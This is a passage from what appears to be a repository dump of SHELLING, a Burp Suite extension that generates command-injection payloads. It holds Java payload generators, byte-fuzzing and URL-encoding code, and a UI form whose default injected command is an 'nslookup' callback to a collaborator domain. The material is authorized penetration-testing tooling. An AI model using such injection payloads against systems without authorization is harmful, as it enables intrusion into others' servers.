and PREFIX_HOLDER substitution\n                {\n                    // search the payload and skip if baddies found\n                    // yeah payloads are pre-generated\n                    // but later on we selectively skip some of them from being provided to Intruder/Scanner\n                    // which both do not know how many payloads will be returned\n                    // thus they rely on the hasMorePayloads() loop and getNextPayload() method.\n                    if(this.tab.shellingPanel.containsBaddies(payload)) \n                    {\n                        // skip this payload and continue\n                        if(this.tab.shellingPanel.verboseOutput==true)\n                        {\n                            this.tab.shellingPanel.logOutput(\"Skipped payload \"+Integer.toString(this.payloadIndex)+\" due to baddies detection.\");\n                        }\n                        this.payloadIndex++;\n                        continue;\n                    } \n                }               \n                if(p.contains(\"PREFIX_HOLDER\"))\n                {                \n                    String base = callbacks.getHelpers().bytesToString(baseValue);\n                    p=p.replace(\"PREFIX_HOLDER\",base);\n                }            \n                if(p.contains(\"BURP_COLLAB_DOMAIN\"))\n                {\n                    if(tab.shellingPanel.feedbackChannel==\"DNS\")\n                    {\n                        p=p.replace(\"BURP_COLLAB_DOMAIN\",loc);\n                    }\n                    else\n                    {\n                        if(this.action!=\"export\"&&this.payloadIndex==0) // prevent a nasty flood of messages, also do not issue this warning when doing export - someone might want to use the holder and replace it manually later\n                        {\n                            JOptionPane.showMessageDialog(null, \"WARNING: the payload contains the BURP_COLLAB_DOMAIN special holder used with DNS feedback channel. However, the current feedback channel is \"+tab.shellingPanel.feedbackChannel+\". You are most likely doing it wrong.\", \"Argument <-> feedback channel missmatch!\", JOptionPane.INFORMATION_MESSAGE);                                        \n                        }                   \n                    }                           \n                    //this.shellings.get(this.payloadIndex).replace(\"BURP_COLLAB_DOMAIN\", loc);\n                }            \n                this.shellings.set(this.payloadIndex,p); // update the payload with the result of the substitution\n                \n                this.payloadIndex++;                \n                return callbacks.getHelpers().stringToBytes(p);           \n            }            \n            return new byte[0]; // if no more valid payloads are found (Smart 400 avoidance), we simply return this byte[0]  (we have to, as the DoScannerCheck class was already told that we have more payloads)\n        }       \n        return null; // should never happen (unreachable statement, but required by Java)\n    }\n    @Override\n    public void reset() \n    {        \n        payloadIndex = 0;\n    }       \n}"
  },
  {
    "path": "Java/src/uk/co/pentest/SHELLING/IntruderPayloadGeneratorByte.java",
    "content": "package uk.co.pentest.SHELLING;\n\nimport burp.BurpExtender;\nimport burp.IBurpExtenderCallbacks;\nimport burp.IIntruderPayloadGenerator;\nimport java.io.UnsupportedEncodingException;\nimport java.net.URLEncoder;\nimport java.nio.charset.StandardCharsets;\nimport java.util.ArrayList;\nimport java.util.logging.Level;\nimport java.util.logging.Logger;\nimport javax.swing.ListModel;\n\n/**\n *\n * @author ewilded\n */\npublic final class IntruderPayloadGeneratorByte implements IIntruderPayloadGenerator \n{\n    int payloadIndex;    // counter for the payload mark       \n    byte[] bytes_raw;    // byte payloads    \n    ArrayList<String> bytes_out; // \n    IBurpExtenderCallbacks callbacks = BurpExtender.getBurpCallbacks();\n    ShellingTab tab;\n\n    public IntruderPayloadGeneratorByte(ShellingTab tab) \n    {\n        this.tab=tab;\n        int byteIndex=0;\n        this.bytes_out=new ArrayList<>();\n            /*\n                    \"non-alpha\";\n                    \"alpha\";\n                    \"non-alpha-print\";\n                    \"non-alpha-non-print\";\n                    \"all\";\n            */\n            // this.bytes_raw=new ArrayList<>();\n            \n            // \n        if(\"non-alpha\".equals(this.tab.shellingPanel.byteGeneratorRange))\n        {\n                this.bytes_raw = new byte[194];\n                // 0-47     48\n                // 58-64    7\n                // 91-96    6\n                // 123-255  133\n                // 194 all together\n                for(int i=0;i<48;i++)\n                {\n                    bytes_raw[byteIndex]=(byte)i;\n                    byteIndex++;\n                }\n                for(int i=58;i<65;i++)\n                {\n                    bytes_raw[byteIndex]=(byte)i;\n                    byteIndex++;                \n                }\n                for(int i=91;i<97;i++)\n                {\n                    bytes_raw[byteIndex]=(byte)i;\n                    byteIndex++;                \n                }\n                for(int i=123;i<256;i++)\n                {\n                    bytes_raw[byteIndex]=(byte)i;\n                    byteIndex++;                \n                }            \n        }\n        if(\"alpha\".equals(this.tab.shellingPanel.byteGeneratorRange))\n        {\n                // 48-57 -> 10\n                // 65-90 -> 26\n                // 97-122 -> 26\n                // 62 altogether\n                this.bytes_raw = new byte[62];\n                for(int i=48;i<58;i++)\n                {\n                    bytes_raw[byteIndex]=(byte)i;\n                    byteIndex++;\n                }\n                for(int i=65;i<91;i++)\n                {\n                    bytes_raw[byteIndex]=(byte)i;\n                    byteIndex++;                \n                }\n                for(int i=97;i<123;i++)\n                {\n                    bytes_raw[byteIndex]=(byte)i;\n                    byteIndex++;                \n                }\n        }\n        if(\"non-alpha-print\".equals(this.tab.shellingPanel.byteGeneratorRange))\n        {\n                // 33-46 -> 14\n                // 58-64 -> 7\n                // 91-96 -> 6\n                // 123-126 -> 4\n                // 31 all together\n                this.bytes_raw = new byte[31];\n                for(int i=33;i<47;i++)\n                {\n                    bytes_raw[byteIndex]=(byte)i;\n                    byteIndex++;\n                }\n                for(int i=58;i<65;i++)\n                {\n                    bytes_raw[byteIndex]=(byte)i;\n                    byteIndex++;                \n                }\n                for(int i=91;i<97;i++)\n                {\n                    bytes_raw[byteIndex]=(byte)i;\n                    byteIndex++;                \n                }\n                for(int i=123;i<127;i++)\n                {\n                    bytes_raw[byteIndex]=(byte)i;\n                    byteIndex++;                \n                }                \n        }\n        if(\"non-alpha-non-print-low\".equals(this.tab.shellingPanel.byteGeneratorRange))\n        {            \n                // 0-31 -> 32\n                // 127-128 -> 1\n                // alltogether 33\n                this.bytes_raw = new byte[33];\n                for(int i=0;i<32;i++)\n                {\n                    bytes_raw[byteIndex]=(byte)i;\n                    byteIndex++;                \n                }\n                for(int i=127;i<128;i++)\n                {\n                    bytes_raw[byteIndex]=(byte)i;\n                    byteIndex++;                \n                }\n        }        \n        if(\"non-alpha-non-print\".equals(this.tab.shellingPanel.byteGeneratorRange))\n        {            \n                // 0-31 -> 32\n                // 127-255 -> 129\n                // alltogether 161\n                this.bytes_raw = new byte[161];\n                for(int i=0;i<32;i++)\n                {\n                    bytes_raw[byteIndex]=(byte)i;\n                    byteIndex++;                \n                }\n                for(int i=127;i<256;i++)\n                {\n                    bytes_raw[byteIndex]=(byte)i;\n                    byteIndex++;                \n                }\n        }\n        if(\"all\".equals(this.tab.shellingPanel.byteGeneratorRange))\n        {            \n                // 0-255 -> 256\n                this.bytes_raw = new byte[256];\n                for(int i=0;i<256;i++)\n                {\n                    bytes_raw[byteIndex]=(byte)i;\n                    byteIndex++;                \n                }\n        }            \n        // now, check what the encodings are - and fill the bytes_out string array accordingly   \n        ListModel encodeModel = this.tab.shellingPanel.encodeList.getModel();\n        for(int j=0;j<this.bytes_raw.length;j++)\n        {\n                byte[] t = new byte[1];\n                t[0]=this.bytes_raw[j];\n                String convertedBytes = callbacks.getHelpers().bytesToString(t);\n                for(int i=0;i<encodeModel.getSize();i++)\n                {\n                   if(\"None\".equals(encodeModel.getElementAt(i).toString()))\n                   { \n                       this.bytes_out.add(convertedBytes); // add the conversion here\n                   }\n                   if(\"URL\".equals(encodeModel.getElementAt(i).toString())) // URL encode\n                   {\n                       try \n                       {                    \n                           this.bytes_out.add(URLEncoder.encode(convertedBytes,StandardCharsets.UTF_8.toString()));\n                       } \n                       catch (UnsupportedEncodingException ex) \n                       {\n                           Logger.getLogger(IntruderPayloadGeneratorByte.class.getName()).log(Level.SEVERE, null, ex);\n                       }\n                   }\n                   if(\"Double URL\".equals(encodeModel.getElementAt(i).toString()))\n                   {\n                        try \n                        {                       \n                           this.bytes_out.add(URLEncoder.encode(URLEncoder.encode(convertedBytes,StandardCharsets.UTF_8.toString())));\n                        } \n                        catch (UnsupportedEncodingException ex) \n                        {\n                           Logger.getLogger(IntruderPayloadGeneratorByte.class.getName()).log(Level.SEVERE, null, ex);\n                        }\n                   }\n                }\n        }                                                            \n    }   \n    @Override\n    public boolean hasMorePayloads() \n    {\n            //this.tab.shellingPanel.logOutput(\"Being asked for more payloads (payloadIndex:\"+this.payloadIndex+\" with size: \"+this.bytes_out.size());\n            return this.payloadIndex < this.bytes_out.size();\n    }\n    @Override\n    public byte[] getNextPayload(byte[] baseValue) \n    {                \n        byte[] payload;\n        payload = this.callbacks.getHelpers().stringToBytes(this.bytes_out.get(this.payloadIndex).toString());        \n        // \n        this.payloadIndex++; // increase the index\n        return payload;\n    }\n    @Override\n    public void reset() \n    {\n        this.payloadIndex = 0;\n    }       \n}"
  },
  {
    "path": "Java/src/uk/co/pentest/SHELLING/PayloadFactory.java",
    "content": "/*\n * To change this license header, choose License Headers in Project Properties.\n * To change this template file, choose Tools | Templates\n * and open the template in the editor.\n */\npackage uk.co.pentest.SHELLING;\n\nimport burp.IHttpRequestResponse;\nimport burp.IIntruderAttack;\nimport burp.IIntruderPayloadGenerator;\nimport burp.IIntruderPayloadGeneratorFactory;\n/*\n * @author ewilded\n */\n\npublic class PayloadFactory implements IIntruderPayloadGeneratorFactory{\n\n    private final ShellingTab tab;\n    private final String payloadType;\n    \n    public PayloadFactory(ShellingTab tab, String payloadType) {\n        this.tab = tab;\n        this.payloadType = payloadType;\n    }\n    \n    @Override\n    public String getGeneratorName() {\n        if (payloadType.equals(\"mark\")) {\n            return \"Payload marker\";            \n        } \n        if(payloadType.equals(\"cmd\"))\n        {\n            return \"Command injection\";\n        }\n        if(payloadType.equals(\"byte2\"))\n        {\n            return \"Byte (SHELLING)\";\n        }\n        return \"Invalid type\";\n    }\n\n    @Override\n    public IIntruderPayloadGenerator createNewInstance(IIntruderAttack attack) \n    {\n        if(\"byte2\".equals(payloadType))\n        {\n            return new IntruderPayloadGeneratorByte(tab);\n        }\n        // this is what the attack object contains:\n        // attack.getHttpService() is the HTTP service\n        // attack.getRequestTemplate() is the HTTP request template\n        // hence, it's all we need to track down vulnerable page with an asynchronous payload\n        //\n        // https://portswigger.net/burp/extender/api/burp/IIntruderAttack.html#getHttpService()\n        IHttpRequestResponse req = SHELLING.callbacks.makeHttpRequest(attack.getHttpService(),attack.getRequestTemplate());        \n        return new IntruderPayloadGenerator(payloadType,tab,\"intruder\",req, \"manual insertion point (intruder)\"); // I guess this will perform a vanilla template request before starting IntruderPayloadGenerator.\n    }\n    \n}"
  },
  {
    "path": "Java/src/uk/co/pentest/SHELLING/SHELLING.java",
    "content": "package uk.co.pentest.SHELLING;\r\n\r\nimport burp.IBurpExtenderCallbacks;\r\n\r\n/**\r\n * Used to store global variables.\r\n */\r\npublic class SHELLING {\r\n    public static IBurpExtenderCallbacks callbacks;\r\n    public static ShellingTab ShellingTab;\r\n}\r\n"
  },
  {
    "path": "Java/src/uk/co/pentest/SHELLING/ShellingPanel2.form",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\" ?>\n\n<Form version=\"1.8\" maxVersion=\"1.9\" type=\"org.netbeans.modules.form.forminfo.JPanelFormInfo\">\n  <NonVisualComponents>\n    <Component class=\"javax.swing.ButtonGroup\" name=\"buttonGroup1\">\n    </Component>\n    <Component class=\"javax.swing.ButtonGroup\" name=\"buttonGroup2\">\n    </Component>\n    <Component class=\"javax.swing.JCheckBox\" name=\"jCheckBox5\">\n      <Properties>\n        <Property name=\"text\" type=\"java.lang.String\" value=\"jCheckBox5\"/>\n      </Properties>\n    </Component>\n  </NonVisualComponents>\n  <AuxValues>\n    <AuxValue name=\"FormSettings_autoResourcing\" type=\"java.lang.Integer\" value=\"0\"/>\n    <AuxValue name=\"FormSettings_autoSetComponentName\" type=\"java.lang.Boolean\" value=\"false\"/>\n    <AuxValue name=\"FormSettings_generateFQN\" type=\"java.lang.Boolean\" value=\"true\"/>\n    <AuxValue name=\"FormSettings_generateMnemonicsCode\" type=\"java.lang.Boolean\" value=\"false\"/>\n    <AuxValue name=\"FormSettings_i18nAutoMode\" type=\"java.lang.Boolean\" value=\"false\"/>\n    <AuxValue name=\"FormSettings_layoutCodeTarget\" type=\"java.lang.Integer\" value=\"1\"/>\n    <AuxValue name=\"FormSettings_listenerGenerationStyle\" type=\"java.lang.Integer\" value=\"0\"/>\n    <AuxValue name=\"FormSettings_variablesLocal\" type=\"java.lang.Boolean\" value=\"false\"/>\n    <AuxValue name=\"FormSettings_variablesModifier\" type=\"java.lang.Integer\" value=\"2\"/>\n  </AuxValues>\n\n  <Layout>\n    <DimensionLayout dim=\"0\">\n      <Group type=\"103\" groupAlignment=\"0\" attributes=\"0\">\n          <Component id=\"jTabbedPane1\" alignment=\"0\" max=\"32767\" attributes=\"0\"/>\n      </Group>\n    </DimensionLayout>\n    <DimensionLayout dim=\"1\">\n      <Group type=\"103\" groupAlignment=\"0\" attributes=\"0\">\n          <Component id=\"jTabbedPane1\" alignment=\"1\" max=\"32767\" attributes=\"0\"/>\n      </Group>\n    </DimensionLayout>\n  </Layout>\n  <SubComponents>\n    <Container class=\"javax.swing.JTabbedPane\" name=\"jTabbedPane1\">\n      <AuxValues>\n        <AuxValue name=\"JavaCodeGenerator_VariableModifier\" type=\"java.lang.Integer\" value=\"4\"/>\n      </AuxValues>\n\n      <Layout class=\"org.netbeans.modules.form.compat2.layouts.support.JTabbedPaneSupportLayout\"/>\n      <SubComponents>\n        <Container class=\"javax.swing.JPanel\" name=\"jPanel1\">\n          <Constraints>\n            <Constraint layoutClass=\"org.netbeans.modules.form.compat2.layouts.support.JTabbedPaneSupportLayout\" value=\"org.netbeans.modules.form.compat2.layouts.support.JTabbedPaneSupportLayout$JTabbedPaneConstraintsDescription\">\n              <JTabbedPaneConstraints tabName=\"Global settings\">\n                <Property name=\"tabTitle\" type=\"java.lang.String\" value=\"Global settings\"/>\n              </JTabbedPaneConstraints>\n            </Constraint>\n          </Constraints>\n\n          <Layout>\n            <DimensionLayout dim=\"0\">\n              <Group type=\"103\" groupAlignment=\"0\" attributes=\"0\">\n                  <Group type=\"102\" attributes=\"0\">\n                      <EmptySpace max=\"-2\" attributes=\"0\"/>\n                      <Group type=\"103\" groupAlignment=\"0\" attributes=\"0\">\n                          <Component id=\"manualModeCheckBox\" max=\"32767\" attributes=\"0\"/>\n                          <Group type=\"102\" attributes=\"0\">\n                              <Group type=\"103\" groupAlignment=\"0\" attributes=\"0\">\n                                  <Group type=\"102\" attributes=\"0\">\n                                      <Group type=\"103\" groupAlignment=\"0\" attributes=\"0\">\n                                          <Group type=\"103\" groupAlignment=\"0\" max=\"-2\" attributes=\"0\">\n                                              <Component id=\"jLabel3\" pref=\"235\" max=\"32767\" attributes=\"0\"/>\n                                              <Component id=\"jLabel5\" max=\"32767\" attributes=\"0\"/>\n                                          </Group>\n                                          <Component id=\"jLabel4\" min=\"-2\" pref=\"249\" max=\"-2\" attributes=\"0\"/>\n                                      </Group>\n                                      <EmptySpace max=\"-2\" attributes=\"0\"/>\n                                      <Group type=\"103\" groupAlignment=\"0\" attributes=\"0\">\n                                          <Component id=\"targetOSCombo\" min=\"-2\" pref=\"292\" max=\"-2\" attributes=\"0\"/>\n                                          <Component id=\"commandField\" min=\"-2\" pref=\"297\" max=\"-2\" attributes=\"0\"/>\n                                          <Component id=\"argumentField\" min=\"-2\" pref=\"564\" max=\"-2\" attributes=\"0\"/>\n                                      </Group>\n                                  </Group>\n                                  <Group type=\"102\" attributes=\"0\">\n                                      <Component id=\"jLabel7\" min=\"-2\" pref=\"374\" max=\"-2\" attributes=\"0\"/>\n                                      <EmptySpace min=\"-2\" pref=\"32\" max=\"-2\" attributes=\"0\"/>\n                                      <Component id=\"feedbackChannelCombo\" min=\"-2\" pref=\"401\" max=\"-2\" attributes=\"0\"/>\n                                  </Group>\n                              </Group>\n                              <EmptySpace min=\"-2\" pref=\"28\" max=\"-2\" attributes=\"0\"/>\n                              <Component id=\"jLabel10\" min=\"-2\" pref=\"138\" max=\"-2\" attributes=\"0\"/>\n                              <EmptySpace max=\"-2\" attributes=\"0\"/>\n                              <Component id=\"delayTimeSpinner\" min=\"-2\" pref=\"84\" max=\"-2\" attributes=\"0\"/>\n                              <EmptySpace min=\"0\" pref=\"747\" max=\"32767\" attributes=\"0\"/>\n                          </Group>\n                          <Group type=\"102\" alignment=\"0\" attributes=\"0\">\n                              <Component id=\"payloadMarkingBox\" min=\"-2\" pref=\"307\" max=\"-2\" attributes=\"0\"/>\n                              <EmptySpace min=\"-2\" pref=\"107\" max=\"-2\" attributes=\"0\"/>\n                              <Component id=\"scannerChecksBox\" min=\"-2\" pref=\"330\" max=\"-2\" attributes=\"0\"/>\n                              <EmptySpace type=\"unrelated\" max=\"-2\" attributes=\"0\"/>\n                              <Component id=\"stopAllRunningScans\" max=\"32767\" attributes=\"0\"/>\n                          </Group>\n                      </Group>\n                      <EmptySpace max=\"-2\" attributes=\"0\"/>\n                  </Group>\n              </Group>\n            </DimensionLayout>\n            <DimensionLayout dim=\"1\">\n              <Group type=\"103\" groupAlignment=\"0\" attributes=\"0\">\n                  <Group type=\"102\" alignment=\"0\" attributes=\"0\">\n                      <EmptySpace min=\"-2\" pref=\"9\" max=\"-2\" attributes=\"0\"/>\n                      <Group type=\"103\" groupAlignment=\"0\" attributes=\"0\">\n                          <Component id=\"targetOSCombo\" min=\"-2\" max=\"-2\" attributes=\"0\"/>\n                          <Component id=\"jLabel4\" min=\"-2\" pref=\"35\" max=\"-2\" attributes=\"0\"/>\n                      </Group>\n                      <EmptySpace max=\"-2\" attributes=\"0\"/>\n                      <Group type=\"103\" groupAlignment=\"3\" attributes=\"0\">\n                          <Component id=\"jLabel3\" alignment=\"3\" min=\"-2\" pref=\"35\" max=\"-2\" attributes=\"0\"/>\n                          <Component id=\"commandField\" alignment=\"3\" min=\"-2\" max=\"-2\" attributes=\"0\"/>\n                      </Group>\n                      <EmptySpace max=\"-2\" attributes=\"0\"/>\n                      <Group type=\"103\" groupAlignment=\"0\" max=\"-2\" attributes=\"0\">\n                          <Component id=\"argumentField\" max=\"32767\" attributes=\"0\"/>\n                          <Component id=\"jLabel5\" max=\"32767\" attributes=\"0\"/>\n                      </Group>\n                      <EmptySpace min=\"-2\" pref=\"18\" max=\"-2\" attributes=\"0\"/>\n                      <Group type=\"103\" groupAlignment=\"0\" attributes=\"0\">\n                          <Component id=\"payloadMarkingBox\" min=\"-2\" max=\"-2\" attributes=\"0\"/>\n                          <Group type=\"103\" groupAlignment=\"3\" attributes=\"0\">\n                              <Component id=\"scannerChecksBox\" alignment=\"3\" min=\"-2\" pref=\"25\" max=\"-2\" attributes=\"0\"/>\n                              <Component id=\"stopAllRunningScans\" alignment=\"3\" min=\"-2\" max=\"-2\" attributes=\"0\"/>\n                          </Group>\n                      </Group>\n                      <EmptySpace min=\"-2\" pref=\"8\" max=\"-2\" attributes=\"0\"/>\n                      <Component id=\"manualModeCheckBox\" min=\"-2\" max=\"-2\" attributes=\"0\"/>\n                      <EmptySpace type=\"unrelated\" max=\"-2\" attributes=\"0\"/>\n                      <Group type=\"103\" groupAlignment=\"0\" attributes=\"0\">\n                          <Group type=\"103\" groupAlignment=\"3\" attributes=\"0\">\n                              <Component id=\"jLabel10\" alignment=\"3\" min=\"-2\" pref=\"35\" max=\"-2\" attributes=\"0\"/>\n                              <Component id=\"delayTimeSpinner\" alignment=\"3\" min=\"-2\" max=\"-2\" attributes=\"0\"/>\n                          </Group>\n                          <Group type=\"103\" alignment=\"0\" groupAlignment=\"1\" max=\"-2\" attributes=\"0\">\n                              <Component id=\"jLabel7\" alignment=\"0\" max=\"32767\" attributes=\"0\"/>\n                              <Component id=\"feedbackChannelCombo\" alignment=\"0\" max=\"32767\" attributes=\"0\"/>\n                          </Group>\n                      </Group>\n                      <EmptySpace min=\"0\" pref=\"505\" max=\"32767\" attributes=\"0\"/>\n                  </Group>\n              </Group>\n            </DimensionLayout>\n          </Layout>\n          <SubComponents>\n            <Component class=\"javax.swing.JLabel\" name=\"jLabel3\">\n              <Properties>\n                <Property name=\"text\" type=\"java.lang.String\" value=\"Command to use\"/>\n              </Properties>\n            </Component>\n            <Component class=\"javax.swing.JComboBox\" name=\"targetOSCombo\">\n              <Properties>\n                <Property name=\"model\" type=\"javax.swing.ComboBoxModel\" editor=\"org.netbeans.modules.form.editors2.ComboBoxModelEditor\">\n                  <StringArray count=\"3\">\n                    <StringItem index=\"0\" value=\"All (default)\"/>\n                    <StringItem index=\"1\" value=\"Windows\"/>\n                    <StringItem index=\"2\" value=\"Nix\"/>\n                  </StringArray>\n                </Property>\n              </Properties>\n              <Events>\n                <EventHandler event=\"actionPerformed\" listener=\"java.awt.event.ActionListener\" parameters=\"java.awt.event.ActionEvent\" handler=\"targetOSComboActionPerformed\"/>\n              </Events>\n              <AuxValues>\n                <AuxValue name=\"JavaCodeGenerator_TypeParameters\" type=\"java.lang.String\" value=\"&lt;String&gt;\"/>\n                <AuxValue name=\"JavaCodeGenerator_VariableModifier\" type=\"java.lang.Integer\" value=\"4\"/>\n              </AuxValues>\n            </Component>\n            <Component class=\"javax.swing.JLabel\" name=\"jLabel4\">\n              <Properties>\n                <Property name=\"text\" type=\"java.lang.String\" value=\"Target OS\"/>\n              </Properties>\n            </Component>\n            <Component class=\"javax.swing.JTextField\" name=\"argumentField\">\n              <Properties>\n                <Property name=\"text\" type=\"java.lang.String\" value=\"PAYLOAD_MARK.BURP_COLLAB_DOMAIN\"/>\n              </Properties>\n              <Events>\n                <EventHandler event=\"keyReleased\" listener=\"java.awt.event.KeyListener\" parameters=\"java.awt.event.KeyEvent\" handler=\"keyReleased\"/>\n              </Events>\n              <AuxValues>\n                <AuxValue name=\"JavaCodeGenerator_VariableModifier\" type=\"java.lang.Integer\" value=\"4\"/>\n              </AuxValues>\n            </Component>\n            <Component class=\"javax.swing.JLabel\" name=\"jLabel5\">\n              <Properties>\n                <Property name=\"text\" type=\"java.lang.String\" value=\"Argument\"/>\n              </Properties>\n            </Component>\n            <Component class=\"javax.swing.JTextField\" name=\"commandField\">\n              <Properties>\n                <Property name=\"text\" type=\"java.lang.String\" value=\"nslookup\"/>\n              </Properties>\n              <AuxValues>\n                <AuxValue name=\"JavaCodeGenerator_VariableModifier\" type=\"java.lang.Integer\" value=\"4\"/>\n              </AuxValues>\n            </Component>\n            <Component class=\"javax.swing.JCheckBox\" name=\"payloadMarkingBox\">\n              <Properties>\n                <Property name=\"selected\" type=\"boolean\" value=\"true\"/>\n                <Property name=\"text\" type=\"java.lang.String\" value=\"Payload marking\"/>\n              </Properties>\n              <Events>\n                <EventHandler event=\"actionPerformed\" listener=\"java.awt.event.ActionListener\" parameters=\"java.awt.event.ActionEvent\" handler=\"payloadMarkingBoxActionPerformed\"/>\n              </Events>\n              <AuxValues>\n                <AuxValue name=\"JavaCodeGenerator_VariableModifier\" type=\"java.lang.Integer\" value=\"1\"/>\n              </AuxValues>\n            </Component>\n            <Component class=\"javax.swing.JCheckBox\" name=\"scannerChecksBox\">\n              <Properties>\n                <Property name=\"selected\" type=\"boolean\" value=\"true\"/>\n                <Property name=\"text\" type=\"java.lang.String\" value=\"Active scanning\"/>\n              </Properties>\n              <Events>\n                <EventHandler event=\"actionPerformed\" listener=\"java.awt.event.ActionListener\" parameters=\"java.awt.event.ActionEvent\" handler=\"scannerChecksBoxActionPerformed\"/>\n              </Events>\n              <AuxValues>\n                <AuxValue name=\"JavaCodeGenerator_VariableModifier\" type=\"java.lang.Integer\" value=\"4\"/>\n              </AuxValues>\n            </Component>\n            <Component class=\"javax.swing.JComboBox\" name=\"feedbackChannelCombo\">\n              <Properties>\n                <Property name=\"model\" type=\"javax.swing.ComboBoxModel\" editor=\"org.netbeans.modules.form.editors2.ComboBoxModelEditor\">\n                  <StringArray count=\"2\">\n                    <StringItem index=\"0\" value=\"DNS (collaborator)\"/>\n                    <StringItem index=\"1\" value=\"Delay (sleep)\"/>\n                  </StringArray>\n                </Property>\n              </Properties>\n              <Events>\n                <EventHandler event=\"actionPerformed\" listener=\"java.awt.event.ActionListener\" parameters=\"java.awt.event.ActionEvent\" handler=\"feedbackChannelComboActionPerformed\"/>\n              </Events>\n              <AuxValues>\n                <AuxValue name=\"JavaCodeGenerator_TypeParameters\" type=\"java.lang.String\" value=\"&lt;String&gt;\"/>\n                <AuxValue name=\"JavaCodeGenerator_VariableModifier\" type=\"java.lang.Integer\" value=\"4\"/>\n              </AuxValues>\n            </Component>\n            <Component class=\"javax.swing.JLabel\" name=\"jLabel7\">\n              <Properties>\n                <Property name=\"text\" type=\"java.lang.String\" value=\"Feedback channel\"/>\n              </Properties>\n            </Component>\n            <Component class=\"javax.swing.JSpinner\" name=\"delayTimeSpinner\">\n              <Properties>\n                <Property name=\"model\" type=\"javax.swing.SpinnerModel\" editor=\"org.netbeans.modules.form.editors2.SpinnerModelEditor\">\n                  <SpinnerModel initial=\"25\" minimum=\"10\" numberType=\"java.lang.Integer\" stepSize=\"1\" type=\"number\"/>\n                </Property>\n                <Property name=\"enabled\" type=\"boolean\" value=\"false\"/>\n                <Property name=\"value\" type=\"java.lang.Object\" editor=\"org.netbeans.modules.form.RADConnectionPropertyEditor\">\n                  <Connection code=\"25\" type=\"code\"/>\n                </Property>\n              </Properties>\n            </Component>\n            <Component class=\"javax.swing.JLabel\" name=\"jLabel10\">\n              <Properties>\n                <Property name=\"text\" type=\"java.lang.String\" value=\"Delay [s]\"/>\n              </Properties>\n            </Component>\n            <Component class=\"javax.swing.JCheckBox\" name=\"manualModeCheckBox\">\n              <Properties>\n                <Property name=\"toolTipText\" type=\"java.lang.String\" value=\"\"/>\n                <Property name=\"label\" type=\"java.lang.String\" value=\"Manual (non-auto) mode for Intruder &amp; export  (please refer the documentation for details)\"/>\n              </Properties>\n              <Events>\n                <EventHandler event=\"actionPerformed\" listener=\"java.awt.event.ActionListener\" parameters=\"java.awt.event.ActionEvent\" handler=\"manualModeCheckBoxActionPerformed\"/>\n              </Events>\n            </Component>\n            <Component class=\"javax.swing.JCheckBox\" name=\"stopAllRunningScans\">\n              <Properties>\n                <Property name=\"text\" type=\"java.lang.String\" value=\"Stop all running scans\"/>\n              </Properties>\n              <Events>\n                <EventHandler event=\"actionPerformed\" listener=\"java.awt.event.ActionListener\" parameters=\"java.awt.event.ActionEvent\" handler=\"stopAllRunningScansActionPerformed\"/>\n              </Events>\n              <AuxValues>\n                <AuxValue name=\"JavaCodeGenerator_VariableModifier\" type=\"java.lang.Integer\" value=\"1\"/>\n              </AuxValues>\n            </Component>\n          </SubComponents>\n        </Container>\n        <Container class=\"java.awt.Panel\" name=\"panel1\">\n          <Constraints>\n            <Constraint layoutClass=\"org.netbeans.modules.form.compat2.layouts.support.JTabbedPaneSupportLayout\" value=\"org.netbeans.modules.form.compat2.layouts.support.JTabbedPaneSupportLayout$JTabbedPaneConstraintsDescription\">\n              <JTabbedPaneConstraints tabName=\"Command injection\">\n                <Property name=\"tabTitle\" type=\"java.lang.String\" value=\"Command injection\"/>\n              </JTabbedPaneConstraints>\n            </Constraint>\n          </Constraints>\n\n          <Layout>\n            <DimensionLayout dim=\"0\">\n              <Group type=\"103\" groupAlignment=\"0\" attributes=\"0\">\n                  <Group type=\"102\" attributes=\"0\">\n                      <EmptySpace max=\"-2\" attributes=\"0\"/>\n                      <Group type=\"103\" groupAlignment=\"0\" attributes=\"0\">\n                          <Group type=\"102\" alignment=\"0\" attributes=\"0\">\n                              <Group type=\"103\" groupAlignment=\"0\" max=\"-2\" attributes=\"0\">\n                                  <Component id=\"basePayloadCheckBox\" alignment=\"0\" pref=\"1040\" max=\"32767\" attributes=\"0\"/>\n                                  <Component id=\"advancedPayloadLabel\" alignment=\"0\" max=\"32767\" attributes=\"0\"/>\n                                  <Component id=\"doCommandInjection\" alignment=\"0\" pref=\"1031\" max=\"32767\" attributes=\"0\"/>\n                                  <Component id=\"secondBasePayloadCheckBox\" alignment=\"0\" max=\"32767\" attributes=\"0\"/>\n                                  <Component id=\"thirdBasePayloadCheckBox\" alignment=\"0\" pref=\"1040\" max=\"32767\" attributes=\"0\"/>\n                                  <Component id=\"fourthBasePayloadCheckBox\" alignment=\"0\" max=\"32767\" attributes=\"0\"/>\n                                  <Component id=\"fifthBasePayloadCheckBox\" max=\"32767\" attributes=\"0\"/>\n                              </Group>\n                              <EmptySpace min=\"0\" pref=\"794\" max=\"32767\" attributes=\"0\"/>\n                          </Group>\n                          <Component id=\"seventhBasePayloadCheckBox\" alignment=\"0\" max=\"32767\" attributes=\"0\"/>\n                          <Component id=\"sixthBasePayloadCheckBox\" alignment=\"0\" max=\"32767\" attributes=\"0\"/>\n                          <Component id=\"eightBasePayloadCheckBox\" alignment=\"0\" max=\"32767\" attributes=\"0\"/>\n                      </Group>\n                      <EmptySpace max=\"-2\" attributes=\"0\"/>\n                  </Group>\n              </Group>\n            </DimensionLayout>\n            <DimensionLayout dim=\"1\">\n              <Group type=\"103\" groupAlignment=\"0\" attributes=\"0\">\n                  <Group type=\"102\" alignment=\"0\" attributes=\"0\">\n                      <EmptySpace max=\"-2\" attributes=\"0\"/>\n                      <Component id=\"doCommandInjection\" min=\"-2\" max=\"-2\" attributes=\"0\"/>\n                      <EmptySpace type=\"separate\" max=\"-2\" attributes=\"0\"/>\n                      <Component id=\"advancedPayloadLabel\" min=\"-2\" pref=\"30\" max=\"-2\" attributes=\"0\"/>\n                      <EmptySpace max=\"-2\" attributes=\"0\"/>\n                      <Component id=\"basePayloadCheckBox\" min=\"-2\" max=\"-2\" attributes=\"0\"/>\n                      <EmptySpace max=\"-2\" attributes=\"0\"/>\n                      <Component id=\"secondBasePayloadCheckBox\" min=\"-2\" max=\"-2\" attributes=\"0\"/>\n                      <EmptySpace max=\"-2\" attributes=\"0\"/>\n                      <Component id=\"thirdBasePayloadCheckBox\" min=\"-2\" max=\"-2\" attributes=\"0\"/>\n                      <EmptySpace max=\"-2\" attributes=\"0\"/>\n                      <Component id=\"fourthBasePayloadCheckBox\" min=\"-2\" pref=\"25\" max=\"-2\" 